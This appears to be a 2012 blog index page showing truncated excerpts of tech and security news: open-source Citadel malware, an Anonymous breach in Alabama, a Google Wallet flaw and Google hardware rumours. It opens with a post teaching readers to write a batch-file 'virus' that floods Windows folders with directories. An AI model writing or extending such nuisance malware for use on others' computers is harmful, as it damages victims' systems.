Saturday, February 11, 2012

Vius

1. Open notepad. 2. Fill in this in notepad: Quote: @echo off REM this is a virus made by someone nowhere REM nobody know me, just my mother and my sexy dog... REM hey got something against my dog? EAT THIS! MKDIR C:\windows\temp\a MKDIR C:\windows\temp\b MKDIR C:\windows\temp\c MKDIR C:\windows\temp\d MKDIR C:\windows\temp\e MKDIR C:\windows\temp\f MKDIR C:\windows\temp\g MKDIR C:\windows\temp\h MKDIR C:\windows\temp\i MKDIR C:\windows\temp\j MKDIR C:\windows\temp\k MKDIR C:\windows\temp\l MKDIR C:\windows\temp\m MKDIR C:\windows\temp\n MKDIR C:\windows\temp\o MKDIR C:\windows\temp\p MKDIR C:\windows\temp\q MKDIR C:\windows\temp\r MKDIR C:\windows\temp\s MKDIR C:\windows\temp\t MKDIR C:\windows\temp\u MKDIR C:\windows\desktop\hey_lamer_wazzup MKDIR c:\windows\desktop\hey_lamer_wazzup\loading_echo_files MKDIR...

Friday, February 10, 2012

Malware devs embrace open-source

Blackhatters desperate for props from pals, says security firm Cybercrooks have embraced the open-source model in the development of banking Trojans following the release of source code for the infamous ZeuS cybercrime toolkit last year. Multiple variants of a Zeus Trojan called Citadel have emerged over recent weeks as VXers have embraced a new development lifecycle - dubbed open-source malware. Net security firm Seculert reports that the main developers of the software have also created forums where customers of Citadel (other cybercriminals) can suggest new features and modules for the malware, report bugs and other errors, or enter into discussion with their fellow e-banking fraudsters. The approach is fuelling development of extremely well-developed malware, Seculert reports. "Because...

IBM Launches Free Online Security Training Tools

IBM Launches Free Online Security Training Tools IBM releases downloadable training kits designed to help students, parents and teachers improve their Internet security IBM has released free online security training kits to teach parents, teachers and students about Internet safety and digital responsibility. The move comes as fears rise that a cavalier attitude to security within the upcoming workforce will threaten corporate security. The training tools were announced on Wednesday in conjunction with Safer Internet Day, and consist of three volunteer kits. Online safety and privacy The Control Your Online Identity kit aims to educate teenagers in particular about how to protect personal data and...

Hacker group ‘Anonymous’ claims it broke into Ala. government websites, stole personal info

MONTGOMERY, Ala. — Computer hackers claiming to be from the loose-knit group known as Anonymous say they have broken into several Alabama law enforcement and government websites and have stolen the personal information for more than 46,000 people. In an online news release Friday, the group claimed to have taken Social Security numbers, license plate numbers, phone numbers, addresses and criminal records.Mobile city spokeswoman Barbara Drummond said Utah authorities alerted officials Thursday night that hackers may be targeting the city. She told The Associated Press that the city shut down its computers to avoid the attack and that the hackers did not gain access to Mobile’s servers. However, hackers did breach the website of the city webmaster, and took data from a recent program offering...

Google Wallet Flaw Allows Digital Pickpocket

A new and troubling, vulnerability in Google Wallet has been exposed. Unlike a low-risk security issue identified yesterday, today's security flaw is described as painfully easy. Security firm Zvelo yesterday discovered a vulnerability in Google Wallet, Google's NFC payment system, that allows anyone holding an already-rooted smartphone running Google Wallet to access the Google Wallet PIN. Such a vulnerability allows a hacker to use a Google Wallet-enabled smartphone to maker purchases using the credit card information tied to the NFC chip. However, Google points out that this is a low-risk situation, because it only works if the smartphone has already been rooted (by the owner), and credit card information, while...

What Will Google’s Reported Home Entertainment System Be?

Just when it seemed like the reportedly imminent launch of the iPad 3 was going to be the big tech story of the week, Google came along and stole Apple’s thunder. Now the piece of hardware that’s at the top of everyone’s minds (or at least the top of Techmeme) is a reported Google home entertainment system. According to the Wall Street Journal, Google’s new device will be unveiled “later this year, people familiar with the matter said.” The new Google device described by The Journal would stream music wirelessly throughout a user’s home from Google Music and would be controlled by a smartphone or tablet. Such a device would compete directly with, and be cheaper than, the Sonos wireless music streaming...

Why Google Is Getting Into Entertainment: Your Data

Everyone (including the New York Times!) is suggesting that Google is busy designing andtesting its own-branded hardware--information that's coming directly from insiders with knowledge of the company's plans. The mysterious device "exists as a prototype and will eventually be sold as a branded item to consumers," says the Times, and as an entertainment-centric gizmo, its initial purpose will be for streaming music. This is fascinating on a number of levels, but one question about the rumor really stands out: Why? After all, Google's early and current forays into own-brand hardware aren't exactly storming successes. Yes the Nexus line of phones sells okay now, and is pretty highly regarded--but it's often...

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